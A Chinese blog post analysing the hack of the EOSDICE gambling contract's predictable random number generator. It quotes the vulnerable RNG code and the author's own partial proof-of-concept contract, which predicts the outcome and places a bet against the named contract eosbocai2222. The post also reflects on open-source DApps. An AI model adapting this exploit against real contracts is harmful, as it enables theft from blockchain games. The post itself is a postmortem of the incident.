EODIDEC 随机数被攻破
今天起床看到 EODICE随机数竟然被攻破了？
之前我还看过代码，觉得挺安全的，看来我还是太菜了
随机数代码如下 (来源于github)
uint8_t random(account_name name, uint64_t game_id) { asset pool_eos = eosio::token(N(eosio.token)).get_balance(_self, symbol_type(S(4, EOS)).name()); auto mixd = tapos_block_prefix() * tapos_block_num() + name + game_id - current_time() + pool_eos.amount; const char *mixedChar = reinterpret_cast<const char *>(&mixd); checksum256 result; sha256((char *)mixedChar, sizeof(mixedChar), &result); uint64_t random_num = *(uint64_t *)(&result.hash[0]) + *(uint64_t *)(&result.hash[8]) + *(uint64_t *)(&result.hash[16]) + *(uint64_t *)(&result.hash[24]); return (uint8_t)(random_num % 100 + 1); }可以看到生成随机数 有几个特别的东西
- game_id 这个是递增的，可以拿到
- account_name 这个是玩家的用户名，可以拿到
- pool_eos 这个是当前合约的余额，如果短时间没有人玩的话，是可以拿到固定的值的
- taposblockprefix & taposblocknum 这两个是区块内部的值，如果我用合约来攻击的话，可以拿到
- current_time 当前时间戳(合约用了延时交易)
我当时看到这个合约的时候,其实有想过怎么攻击,但是发现变量比较多,应该比较难,攻击合约需要满足以下条件
- 需要短时间内没有人玩，要不然gameid 与 pooleos都会变动，导致你攻击失败
- 必须要把攻击合约与 出结果 的时间控制在一个区块内，要不然 taposblockprefix & taposblocknum 这两个数会发生改变
- 之前我一直觉得没办法攻击的是 时间，因为合约取的是未来时间的（其实发现了eos 延时合约运行的话,延时多久，时间往后加就行了。。。） 这点要是想明白了，说不定暴富的人就是我了...
我写的一个模拟攻击合约,不知道是不是因为本地测试的原因，taposblockprefix & taposblocknum 一直对不上
其实本来想 直接从合约拿到他的 game_id的，但是一直没有成功...
void charity::hi(uint64_t game_id){ asset pool_eos = eosio::token(N(eosio.token)).get_balance(N(eosbocai2222), symbol_type(S(4, EOS)).name()); pool_eos.amount += 9985; uint64_t t = current_time(); t += 1000000; auto mixd = tapos_block_prefix() * tapos_block_num() + _self + game_id - t + pool_eos.amount; const char *mixedChar = reinterpret_cast<const char *>(&mixd); checksum256 result; sha256((char *)mixedChar, sizeof(mixedChar), &result); uint64_t random_num = *(uint64_t *)(&result.hash[0]) + *(uint64_t *)(&result.hash[8]) + *(uint64_t *)(&result.hash[16]) + *(uint64_t *)(&result.hash[24]); print("random", random_num % 100 + 1); // return (uint8_t)(random_num % 100 + 1); asset payout = asset(10000, S(4, EOS)); action( permission_level{_self, N(active)}, N(eosio.token), N(transfer), std::make_tuple(_self, N(eosbocai2222), payout, std::string("dice-rrr-50-"))) .send();}来一张测试截图
可以看到除了 taposblockprefix & taposblocknum 这两个不一样的话，其他的都一样的，
taposblocknum 应该是每次+1,taposblockprefix 不知道生成规则，但是如果在一个区块内，应该是能拿到相同的.
事件回顾
根据官方给出的账号，我找到了黑客的攻击截图
不知道黑客代码怎么写的，他现在已经把合约换掉了...并且吧钱转到了交易所
根据官方所说，他们有对合约自动检测工具，导致被发现疑似黑客事件，立马把钱转走了.
这一点还是值得表扬的，说明团队实力还是有的。（希望可以开源，这样的话，其他的dice被攻击了也不至于损失那么惨）
自动转账截图
好像公告发布的也比较早，不知道是不是 自动检测功能能把人call醒（哈哈哈）
总结与反思
当被攻击后，有网友在官方群发了这样的一句话...
让我想起一个笑话
A: 为什么你玩DApp？ B: 因为开源透明代码可见，更公平 A：最近玩什么呢 B：EOS上的菠菜 A：开源了么？ B：没有
我一直觉得 区块链合约肯定要开源，要不然和其他的有啥区别呢?
我个人为啥投了这个游戏呢？是因为这个游戏开源，符合我理想中的区块链游戏，不会发生黑我的情况...
本以为他做大了，能给整个社区起一个带头作用，告诉大家，开源合约也没事情的，区块链游戏就是需要开源！
但是还好，损失不是很大。
最后借用老猫的一张图
